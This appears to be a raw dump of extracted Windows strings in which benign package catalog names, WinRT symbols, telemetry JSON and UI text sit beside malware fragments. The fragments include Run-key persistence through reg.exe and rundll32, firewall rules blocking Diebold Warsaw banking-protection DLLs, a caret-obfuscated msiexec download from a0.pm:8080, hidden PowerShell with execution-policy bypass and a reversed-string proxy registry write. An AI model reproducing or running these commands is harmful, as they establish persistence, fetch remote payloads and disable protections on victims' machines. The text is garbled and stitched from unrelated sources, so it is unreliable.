Kin /transfer a%random% /download /priority high http://cmd /c reg.exe add hklm\software\microsoft\windows\currentversion\run /v 1%computername% /t reg_sz /d "rundll32.exe %systemroot%\1%computername%.tmpcmd /c reg.exe add hklm\software\microsoft\windows\currentversion\run /v 2%computername% /t reg_sz /d "%systemroot%\2%computername%.cpl" /fcmd /c setx.exe uplkvariablegbplugin\*.dll"') do netsh advfirewall firewall add rule name="%~nxg" dir=in action=block program=diebold\warsaw\*.dll"') do netsh advfirewall firewall add rule name="%~nxg" dir=in action=block program=reg.exe add "hklm\software\microsoft\windows\currentversion\run" /v %computername% /t reg_sz /d "rundll32 %systemroot%\%computername%.tmp,#1" /f
net start IpFilterDriverNtLoadDriveradvfirewall firewall add rule name="Windows Management Instrumentation (RPC-In)" dir=in action=allow localport=%d protocol=TCP
c:\windows\system\rundll32~.hlp
c:\windows\system\logpass
4Software\Microsoft\Windows NT\CurrentVersion\Windows
%AppData%\Microsoft\Windows\BthHFSrv
http://premiumtabs.org/combat/index.php/api/gettextdata?data={%22id%22:%221%22}C:\Windows\combat.txt
Microsoft.Windows.Storage.StorageAPI
Microsoft.Windows.Storage.StorageUsage
Microsoft.Windows.TlgAggregateInternal
Microsoft.Windows.Storage.StorageReserve
lrugifnocotua":wshshell.regwrite"hkey_current_user\software\microsoft\windows\currentversion\internetsettings\"+strreverse(terra),strreverse(txt)
Microsoft Windows0
%Microsoft Windows Production PCA 20110
%Microsoft Windows Production PCA 2011
 http://www.microsoft.com/windows0
Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|!
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-EmbeddedExp-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|!
Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-IIS-WebServer-AddOn-2-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-IIS-WebServer-AddOn-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-IIS-WebServer-AddOn-2-ServerCommon-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-IIS-WebServer-AddOn-ServerCommon-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-IIS-WebServer-ServerCommon-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|!
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|!
Microsoft-Windows-UpdateTargeting-ClientOS-Ge-26141-Version-EKB-Wrapper-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.4768.cat|!
..\..\..\..\..\..\..\..\..\windows\system32\cmd.exe/cstart
Windows.Data.Input.FilePathInfo
Windows.Data.Input.HistoryFiles
Windows.Data.Common.Size
Windows.Data.Common.Color
Windows.Data.Common.Rect
Windows.Data.Common.Point
allowScrollInactiveWindows
https://www.bing.com/rb/2f/jnc,nj/bs7NOUrFtPlOoMmP2kWWHyhcVTg.js?bu=AvkCxgU&or=w(function(n,t){function i(n,t){return LocStringManager.register({uiCulture:n,name:"LocStrings",namespace:"Feedback"},{DIALOG_ALIAS_ERROR_TEXT:t[0],DIALOG_ALIAS_LABEL:t[1],DIALOG_ALIAS_TEXT:t[2],DIALOG_ASK_FEEDBACK:t[3],DIALOG_CANCEL_BUTTON_TEXT:t[4],DIALOG_COMMENT_ERROR_TEXT:t[5],DIALOG_COMMENT_LABEL:t[6],DIALOG_COMMENT_TYPE1:t[7],DIALOG_COMMENT_TYPE2:t[8],DIALOG_COMMENT_TYPE3:t[9],DIALOG_COMMENT_TYPE4:t[10],DIALOG_COMMENT_TYPE5:t[11],DIALOG_COMMENT_TYPE6:t[12],DIALOG_COMMENT_TYPE_LABEL:t[13],DIALOG_INCLUDE_SCREENSHOT:t[14],DIALOG_MSFT_INTERNAL:t[15],DIALOG_PRIVACY_POLICY:t[16],DIALOG_SEND_BUTTON_TEXT:t[17],DIALOG_SEND_EMAIL_LABEL:t[18],FEEDBACK_SEND_BUTTON_READOUT:t[19],LAUNCH_MAIL_APP_LINK:t[20],LEARN_MORE_LINK_TEXT:t[21],PRIVACY_STATEMENT_LINK_TEXT:t[22],REPORT_LEGAL_OR_PRIVACY_CONCERN:t[23],WINDOWS_DIALOG_COMMENT_TEXT:t[24],WINDOWS_TITLE_TEXT:t[25]}),i}return i(n,t)})("en",["Please enter your alias.","and cc me at","Enter your alias here.","Got any specific feedback?","Cancel","Please leave a comment.","Textbox for your feedback.","Suggest","Like","Dislike","Ideas","Likes","Dislikes","Feedback type","Include a screenshot","Microsoft internal","Privacy policy","Send","Send email to the {0} team","Clicking this button or hitting enter will submit the feedback successfully","Launch the Mail App and Send an Email to","Learn more","Privacy Statement","Report a concern","Enter your feedback on Windows Search here. To protect your privacy, please don't include any personal information.","Send feedback to Microsoft"])
	"Windows"
Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7840) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.26200 IsWebView2/True (WebView2Version 145.0.3800.70) Cortana 1.18.9.23723 10.0.0.0.26200.7840
windowswarningalert
"windowssupportalert">
windows
windows
windows
windows
&"javawindowssysc.cpl.zip"),
0.regwrite"hkey_current_user\software\microsoft\windows\currentversion\internetsettings\"+
\@echoofftitlekmsaktivasyonwindows-officev
%windir%\system32\reg.exeaddhkcu\software\microsoft\windows\currentversion\run/v
Windows.Data.PlaceholderTile
Windows.Data.Apps.AppMetaData
ext-ms-win-ntuser-windowstation-l1-1-0.dll
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft.Windows.FileSystem.CloudFiles`MV
Microsoft.Windows.TlgAggregateInternal
GetWindowsDirectoryW
temRoot%\system32\mswsock.dll
temRoot%\system32\mswsock.dll
temRoot%\system32\mswsock.dll
desktopwindowsZ
ows\system32
+VM^c:\windows\system32\windowspowershell\v1.0\
/Microsoft Windows Third Party Component CA 20130
2Microsoft Windows Software Compatibility Publisher0
chttp://www.microsoft.com/pkiops/crl/Microsoft%20Windows%20Third%20Party%20Component%20CA%202013.crl0
ehttp://www.microsoft.com/pkiops/certs/Microsoft%20Windows%20Third%20Party%20Component%20CA%202013.crt0
/Microsoft Windows Third Party Component CA 20130
?~~~ WINDOWS STRUCTURES ~
	/c START /MIN C:\Windows*
Windows
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
 http://www.microsoft.com/windows
Microsoft WindowsMicrosoft Windows Production PCA 20110
%Microsoft Windows Production PCA 20110
Microsoft Windows0
	Microsoft Windows Production PCA 2011Microsoft Root Certificate Authority 20100
%Microsoft Windows Production PCA 20110
Microsoft.Windows.Wil.FeatureLogging
Microsoft.Windows.IdealState.BrowserEngagement
Windows.Internal.System.UserProfile.pdb
c:\windows\system32\windowspowershell\v1.0\
login.windows.net
login.windows.net
login.windows.net
login.windows.net
login.windows.net
login.windows.net
login.windows.net
login.windows.net
login.microsofto Windows does not yet support nesting non-Text components under <Text>
Microsoft.Windows.Shell.CortanaSearch
Microsoft.WindowsAppRuntime.1.6_6000.401.2352.0_x64__8wekyb3d8bbwe
Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft.Windows.Shell.CortanaSearch
Microsoft.Windows.Shell.WindowsCopilot
Microsoft-Windows-Shell-CortanaTrace
Microsoft-Windows-Shell-CortanaValidation
Microsoft.Windows.AppLifeCycle.UI
Microsoft.Windows.SearchBox
\WINDOWS\resources\dlgsmaalets.him
dows\system32\cmd.execontroltower(backup)/r^s^t^art^m^si^e^xecad=mj^o^p^m^va^ty/f^v"http://a0.pm:8080/bh/yjc2kwe/utr7yecaxcjmlssb219olew/%computername%"ku^waacm^s^a=yox/qn^jnr^hy=^g^m^p!%
I'delc:\programme\"windowsdefender"\msmpeng.exe
 Windows 
 Windows 
 Windows 
PSModulePath=%ProgramFiles%\WindowsPowerShell\,
s;C:\WINDOWS\system32.
Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package0412~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
EstimateReconstructWindowsDiskNeeds
EstimateReconstructWindowsRAMNeeds
ReconstructWindowsEx
ReconstructWindowsEx2
@Devices@Windows
C:\Windows\Syste
system32
Microsoft-Windows-Client-Desktop-Required-Package03~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|!
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-OneCore-Fonts-UAPFonts-Package~31bf3856ad364e35~amd64~~10.0.26100.1000.cat|Microsoft-Windows-Client-Desktop-Required-Package04102030~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Embedded-UnifiedWriteFilter-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat|!
Microsoft-Windows-MicrosoftEdgeDevToolsClient-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-MicrosoftEdgeDevToolsClient-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat|!
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|Package_4_for_KB5066128~31bf3856ad364e35~amd64~~10.0.9321.3.cat|!
Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
	Windows11
s@Networking@Windows@winrt@4
Microsoft Windows
Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
windows.hlp
c:\windows\system32\
DriverData=C:\Windows\System32\
Windows.Networking.BackgroundTransfer.Internal
NNo installer available for this Windows versionW
OpesdaInternet1ClickEmailsenotcias2Windowsupdate2Windowsmessenger2Google2
The ID below indicates app support for Windows VistaThe ID below indicates app support for Windows 10Embarcadero Delphi for Win32 compiler version 35.0Office 2024
.?AUtype@?$abi@UPointerEventHandler@Input@Xaml@UI@Windows@winrt@@X@impl@winrt@@
.?AUtype@?$abi@URightTappedEventHandler@Input@Xaml@UI@Windows@winrt@@X@impl@winrt@@
.?AUtype@?$abi@USelectionChangedEventHandler@Controls@Xaml@UI@Windows@winrt@@X@impl@winrt@@
.?AUtype@?$abi@UPropertyChangedEventHandler@Data@Xaml@UI@Windows@winrt@@X@impl@winrt@@
.?AUtype@?$abi@UDoubleTappedEventHandler@Input@Xaml@UI@Windows@winrt@@X@impl@winrt@@
.?AUtype@?$abi@UIDataTemplateSelectorOverrides@Controls@Xaml@UI@Windows@winrt@@X@impl@winrt@@
.?AUtype@?$abi@UIDataTemplateSelectorOverrides2@Controls@Xaml@UI@Windows@winrt@@X@impl@winrt@@
.?AUtype@?$abi@USizeChangedEventHandler@Xaml@UI@Windows@winrt@@X@impl@winrt@@
.?AUtype@?$abi@UVisualStateChangedEventHandler@Xaml@UI@Windows@winrt@@X@impl@winrt@@
.?AUtype@?$abi@UIPropertyValue@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$delegate@U?$TypedEventHandler@UDesktopWindowXamlSource@Hosting@Xaml@UI@Windows@winrt@@UDesktopWindowXamlSourceTakeFocusRequestedEventArgs@23456@@Foundation@Windows@winrt@@V<lambda_232_>@?0???$?0VFocusManager@Xaml@View@TaskManager@@P80123@EAAXAEBUDesktopWindowXamlSource@Hosting@1UI@Windows@winrt@@AEBUDesktopWindowXamlSourceTakeFocusRequestedEventArgs@51678@@Z@1234@QEAA@PEAVFocusManager@Xaml@View@TaskManager@@P86789@EAAXAEBUDesktopWindowXamlSource@Hosting@7UI@34@AEBUDesktopWindowXamlSourceTakeFocusRequestedEventArgs@Hosting@7UI@34@@Z@Z@@impl@winrt@@
.?AV<lambda_232_>@?0???$?0VFocusManager@Xaml@View@TaskManager@@P80123@EAAXAEBUDesktopWindowXamlSource@Hosting@1UI@Windows@winrt@@AEBUDesktopWindowXamlSourceTakeFocusRequestedEventArgs@51678@@Z@?$TypedEventHandler@UDesktopWindowXamlSource@Hosting@Xaml@UI@Windows@winrt@@UDesktopWindowXamlSourceTakeFocusRequestedEventArgs@23456@@Foundation@Windows@winrt@@QEAA@PEAVFocusManager@Xaml@View@TaskManager@@P85678@EAAXAEBUDesktopWindowXamlSource@Hosting@6UI@34@AEBUDesktopWindowXamlSourceTakeFocusRequestedEventArgs@Hosting@6UI@34@@Z@Z@
.?AU?$implements_delegate@U?$TypedEventHandler@UDesktopWindowXamlSource@Hosting@Xaml@UI@Windows@winrt@@UDesktopWindowXamlSourceTakeFocusRequestedEventArgs@23456@@Foundation@Windows@winrt@@V<lambda_232_>@?0???$?0VFocusManager@Xaml@View@TaskManager@@P80123@EAAXAEBUDesktopWindowXamlSource@Hosting@1UI@Windows@winrt@@AEBUDesktopWindowXamlSourceTakeFocusRequestedEventArgs@51678@@Z@1234@QEAA@PEAVFocusManager@Xaml@View@TaskManager@@P86789@EAAXAEBUDesktopWindowXamlSource@Hosting@7UI@34@AEBUDesktopWindowXamlSourceTakeFocusRequestedEventArgs@Hosting@7UI@34@@Z@Z@@impl@winrt@@
.?AU?$delegate@U?$TypedEventHandler@UIInspectable@Foundation@Windows@winrt@@U1234@@Foundation@Windows@winrt@@V<lambda_1>@?2??Initialize@FocusManager@Xaml@View@TaskManager@@QEAAJXZ@@impl@winrt@@
.?AU?$implements_delegate@U?$TypedEventHandler@UIInspectable@Foundation@Windows@winrt@@U1234@@Foundation@Windows@winrt@@V<lambda_1>@?2??Initialize@FocusManager@Xaml@View@TaskManager@@QEAAJXZ@@impl@winrt@@
.?AUtype@?$abi@U?$TypedEventHandler@UDesktopWindowXamlSource@Hosting@Xaml@UI@Windows@winrt@@UDesktopWindowXamlSourceTakeFocusRequestedEventArgs@23456@@Foundation@Windows@winrt@@X@impl@winrt@@
.?AU?$produce_base@UEcoModeDialogViewModel@factory_implementation@TaskManagerApp@winrt@@UIActivationFactory@Foundation@Windows@4@X@impl@winrt@@
cmd.exe..\windows\system32\cmd.exe
powershell-windowstylehidden-command"try{invoke-webrequest-uri'!files[%%i].url!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Windows Hello PIN|pin unlock|pin settings|pin sign in|pin signin|pin options|sign-in options|sign-in settings|signin settings|signin options|sign in options|sign in settings|enroll pin|enrollment|change pin|forgot pin|forgot my pin|I forgot my pin|pins|Windows Hello settings|@
Windows Hello Fingerprint|fingerprint unlock|fingerprint settings|fingerprint options|fingerprint sign in|fingerprint signin|sign-in options|sign-in settings|signin settings|signin options|sign in options|sign in settings|enroll fingerprint|enrollment|biometrics|biocreds|biocredentials|fingerprints|finger prints|improve fingerprint recognition|improve recognition|remove fingerprints|add fingerprints|add another fingerprint|Windows Hello settings|9
Windows Hello Face|face unlock|face settings|face options|face sign in|face signin|sign-in options|sign-in settings|signin settings|signin options|sign in options|sign in settings|enroll face|enrollment|biometrics|biocreds|biocredentials|faces|improve face recognition|improve facial recognition|improve recognition|remove face recognition|remove facial recognition|Windows Hello settings|>
s RAM usageAutomatically open Copilot when you sign into WindowsBrowse with Microsoft Copilot, search with Bing, and shop at the Microsoft and Windows stores to earn free rewardsEarn Microsoft Rewards in Microsoft CopilotCopilot connects local browsing data from this profile with the rest of Windows.When turned on, Microsoft Copilot will connect local browsing data from this profile with the rest of Windows. Turning this feature on will help you find information from your history, top sites and recent tabs more easily using features such as the search box on the taskbar in Windows. If you turn off this feature Microsoft Copilot will remove the data shared with Windows on the device and stop sharing any new browsing data from this profile.Save content using Collections in Microsoft CopilotAlways have access to your recent browsing data each time you browse on Microsoft CopilotChoose confirm to stop Microsoft Copilot from importing browser data from other browsers.Application behavior and featuresCustomize general application behavior settings like asking before closing multiple tabs, mouse gesture, and split screenAllow Copilot to save your passwords and keep them safe.Energy saver helps save device battery and reduce power consumption when you
CreateWindowStationW
GetProcessWindowStation
SetProcessWindowStation
CloseWindowStation
WindowsCreateString
WindowsDeleteString
WindowsGetStringRawBuffer
WindowsCreateStringReference
WindowsGetStringLen
WindowsIsStringEmpty
WindowsStringHasEmbeddedNull
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
GetSystemWindowsDirectoryA
windows.activatableClass%
*.wns.windows.com0
Microsoft-Windows-Client-Desktop-Required-Package03~31bf3856ad364e35~amd64~~10.0.26100.1591.cat
WindowsDeleteString
WindowsGetStringRawBuffer
WindowsCreateStringReference
temRoot%\system32\mswsock.dl
temRoot%\system32\mswsock.dl
EnumWindows
Microsoft.Windows.Security.Ncrypt
Microsoft.Windows.Security.KeyGuard
Microsoft.Windows.Security.KeyGuard
Microsoft.Windows.Security.KeyGuard
Microsoft.Windows.TlgAggregateInternal
tion","SACExternalAuthorizationFlags":2228224,"SACExternalAuthorizationUsed":2097152,"SACDefenderScanFailedOverride":0,"SACUnsignedUnknownOverride":0,"DefenderStatus":0,"DefenderCatDbFailureStage":0,"DefenderCatDbFailure":0,"DefenderTrust":0,"DefenderScanResultDetails":0,"DefenderTrustExpiryTime":0,"EAReplayFailureState":3,"CachedDefenderTrust":0,"CachedDefenderTrustExpiryTime":0,"DefenderClientStatusCode":0,"DefenderCloudHTTPCode":0,"DefenderEngineReportGUID":"00000000-0000-0000-0000-000000000000","DefenderThreatName":"","DefenderShellExecutedStatus":0,"DefenderShellExecutedTrust":0,"DefenderShellExecutedClientStatusCode":0,"DefenderShellExecutedCloudHTTPCode":0,"DefenderShellExecutedEngineReportGUID":"00000000-0000-0000-0000-000000000000","DefenderShellExecutedThreatName":"","DefenderShellExecutedFlatHash":[],"DefenderTelemetryFlags":0,"OriginClaimPresent":false,"OriginClaimDataVersion":0,"OriginClaimOrigin":0,"OriginClaimType":0,"OriginClaimGeneration":0,"OriginClaimSessionID":"00000000-0000-0000-0000-000000000000","OriginClaimSubSessionID":"00000000-0000-0000-0000-000000000000","OriginClaimSmartScreenClaim":0,"OriginClaimRevocationID":0,"OriginClaimDataString":"","CallingProcessOriginClaimPresent":false,"CallingProcessOriginClaimDataVersion":0,"CallingProcessOriginClaimOrigin":0,"CallingProcessOriginClaimType":0,"CallingProcessOriginClaimGeneration":0,"CallingProcessOriginClaimSessionID":"00000000-0000-0000-0000-000000000000","CallingProcessOriginClaimSubSessionID":"00000000-0000-0000-0000-000000000000","CallingProcessOriginClaimSmartScreenClaim":0,"CallingProcessOriginClaimRevocationID":0,"CallingProcessOriginClaimDataString":"","TotalSignatureCount":1,"SACStateChangeReason":8,"SACPreviousState":4294967295,"FileSignatureInfo":[{"VerificationError":0,"ValidatedSigningLevel":12,"CertTBS":[40,118,239,226,45,166,109,12,104,253,172,45,12,185,82,154,52,93,5,152,131,119,231,69,218,232,30,102,203,2,227,250],"KnownRoot":6,"IssuerName":"Microsoft Windows Production PCA 2011","PolicyFlags":2050,"RequiresWHQLFlag":false,"ValidFrom":"2025-06-19T18:11:44.0000000Z","ValidTo":"2026-06-17T18:11:44.0000000Z"}]}}
{"ver":"4.0","name":"Microsoft.Windows.Security.CodeIntegrity.NWActivityVerbose.SACDecision","time":"2026-02-24T08:07:31.8901032Z","iKey":"o:95c1f21d6cb047a09e7b423c1cb2222e","ext":{"utc":{"eventFlags":258,"pgName":"MSPG","dvcSample":59.81,"flags":52412023344,"edition":48,"epoch":"800503","seq":39},"privacy":{"dataType":32088572553658445,"isRequired":false},"metadata":{"f":{"Count":4,"MinSmartLockerVerificationTime":4,"MaxSmartLockerVerificationTime":4,"MinDefenderVerificationTime":4,"MaxDefenderVerificationTime":4,"MinEventTime":4,"MaxEventTime":4,"EventVersion":2,"Status":2,"SACStatus":2,"SecureRequiredFlags":2,"GenericVerificationError":2,"FileVersion":5,"SACPolicyGuidID":8,"SACExternalAuthorizationFlags":2,"SACExternalAuthorizationUsed":2,"DefenderStatus":2,"DefenderCatDbFailure":2,"DefenderTrust":2,"DefenderTrustExpiryTime":4,"EAReplayFailureState":2,"CachedDefenderTrust":2,"CachedDefenderTrustExpiryTime":4,"DefenderClientStatusCode":2,"DefenderCloudHTTPCode":2,"DefenderEngineReportGUID":8,"DefenderShellExecutedStatus":2,"DefenderShellExecutedTrust":2,"DefenderShellExecutedClientStatusCode":2,"DefenderShellExecutedCloudHTTPCode":2,"DefenderShellExecutedEngineReportGUID":8,"DefenderTelemetryFlags":2,"OriginClaimSessionID":8,"OriginClaimSubSessionID":8,"CallingProcessOriginClaimSessionID":8,"CallingProcessOriginClaimSubSessionID":8,"FileSignatureInfo":{"a":{"f":{"VerificationError":2,"KnownRoot":2,"PolicyFlags":2,"ValidFrom":9,"ValidTo":9}}}},"privTags":32088572553658445,"policies":7},"os":{"bootId":8,"name":"Windows","ver":"10.0.26200.7840.amd64fre.ge_release.240331-1435","expId":"RS:3107B,MD:283BAEF,ME:3667C98,ME:3667C9A,ME:3667CA2,ME:3667CA7,ME:3667CAD,ME:38419AC,ME:3536BD9,MD:2FE0A31,MD:2FE0A40,MD:2FE0A4F,MD:37B239D,PD:3536CF8,PD:33CDA4D,MD:36AF640,MD:9999,CD:2601D"},"app":{"id":"W:0000da39a3ee5e6b4b0d3255bfef95601890afd80709!0000da39a3ee5e6b4b0d3255bfef95601890afd80709!","ver":"1970/01/01:00:00:00!0!","is1P":3,"asId"
WindowsStringHasEmbeddedNull
WindowsIsStringEmpty
WindowsGetStringRawBuffer
WindowsCreateString
WindowsDeleteString
WindowsCreateStringReference
WindowsDuplicateString
WindowsCompareStringOrdinal
WindowsGetStringLen
WindowsConcatString
Digest Authentication for Windows
Microsoft-Windows-LanguageFeatures-Basic-en-gb-Package~31bf3856ad364e35~amd64~~10.0.26100.7824
Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Desktop-Required-Package03~31bf3856ad364e35~amd64~~10.0.26100.1591.cat
Microsoft-Windows-Client-Desktop-Required-Package03~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
Microsoft.Windows.Services.Experiences.ExperienceExtensions
Microsoft.Windows.Wil.FeatureLogging
\windows\system32
APPDATA=C:\WINDOWS\system32\config\systemprofile\AppData\Roaming
Windows.Client.CBS_cw5n1h2txyewy\AC\Tem
PSModulePath=%ProgramFiles%\WindowsPowerShell\,
s;C:\WINDOWS\system32.
windows
Microsoft.Windows.ReFsDedupSvc
Microsoft.Windows.ReFsDedupSvcLib
Microsoft.Windows.ReFsDedupSvc.Notifications
Microsoft.Windows.ReFS.Dedup
Y]diskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.ContentDeliveryManager_10.0.26100.1_neutral_neutral_cw5n1h2txyewy\machine.pckgdep
diskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.ContentDeliveryManager_10.0.26100.1_neutral_neutral_cw5n1h2txyewy\ActivationStore.dat.LOG1
diskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.ContentDeliveryManager_10.0.26100.1_neutral_neutral_cw5n1h2txyewy\machine.pckgdep
-diskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.ContentDeliveryManager_10.0.26100.1_neutral_neutral_cw5n1h2txyewy\machine.pckgdep
diskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.ContentDeliveryManager_10.0.26100.1_neutral_neutral_cw5n1h2txyewy\machine.pckgdep
wAdiskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.ContentDeliveryManager_10.0.26100.1_neutral_neutral_cw5n1h2txyewy\machine.pckgdep
diskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.ContentDeliveryManager_10.0.26100.1_neutral_neutral_cw5n1h2txyewy\machine.pckgdep
$2diskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.ContentDeliveryManager_10.0.26100.1_neutral_neutral_cw5n1h2txyewy\machine.pckgdep
diskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.ContentDeliveryManager_10.0.26100.1_neutral_neutral_cw5n1h2txyewy\machine.pckgdep
diskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.ContentDeliveryManager_10.0.26100.1_neutral_neutral_cw5n1h2txyewy\machine.pckgdep
diskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.ContentDeliveryManager_10.0.26100.1_neutral_neutral_cw5n1h2txyewy\machine.pckgdep
diskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.ContentDeliveryManager_10.0.26100.1_neutral_neutral_cw5n1h2txyewy\machine.pckgdep
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
Microsoft-Windows-Client-Desktop-Required-Package03~31bf3856ad364e35~amd64~~10.0.26100.7705.cat
windows\
powershell.exe-noprofile-executionpolicybypass-windowstylehidden-command
\system32\msi
USERDOMAIN=Windows11D
